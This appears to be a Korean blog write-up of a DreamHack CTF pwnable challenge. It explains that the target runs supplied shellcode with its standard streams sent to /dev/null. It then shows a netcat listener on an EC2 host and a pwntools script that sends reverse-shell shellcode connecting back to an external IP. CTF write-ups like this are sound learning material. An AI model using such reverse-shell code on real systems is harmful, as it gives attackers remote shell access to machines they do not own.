코드분석

- 쉘코드 입력 받
- stdin, stdout, stderr가 /dev/null에 해당하는 파일 디스크립터로 리다이렉션
- 쉘코드 실행
=> 리버스 쉘코드를 이용하자
익스플로잇
aws에서 ec2를 생성한 후 인스턴스 연결한다
nc -lnvp [PORT]
위의 명령어로 리버스 셸을 listen한다
단, 인바운드 규칙에 리버스 쉘로 접근하고자 하는 port가 들어있어야 외부에서 접속이 가능하다
셸코드를 전송한다
from pwn import *
context.arch = 'amd64'
p = remote('host3.dreamhack.games', 14995)
portNum = 1111
shellcode = shellcraft.connect('43.203.119.189', portnum,'ipv4')
shellcode += shellcraft.findpeersh(portNum)
p.sendafter(b': ', asm(shellcode))
p.interactive()
pyhton shellcraft 모듈에 connect(), findpeersh() 함수를 이용하면
간단하게 reverse shellcode를 생성 할 수 있다.
listen하고 있던 서버를 보면 셸을 획득한걸볼 수 있다
flag가 나온다

'CTF > Pwnable' 카테고리의 다른 글
| [DreamHack] environ Write-up (0) | 2024.04.07 |
|---|---|
| [DreamHack] checkflag Write-up (0) | 2024.03.31 |
| [DreamHack] Bypass IO_validate_vtable Write-up (0) | 2024.03.31 |
| [DreamHack] _IO_FILE Arbitrary Address Write Write-up (0) | 2024.03.30 |
| [DreamHack] send_sig Write-up (0) | 2024.03.30 |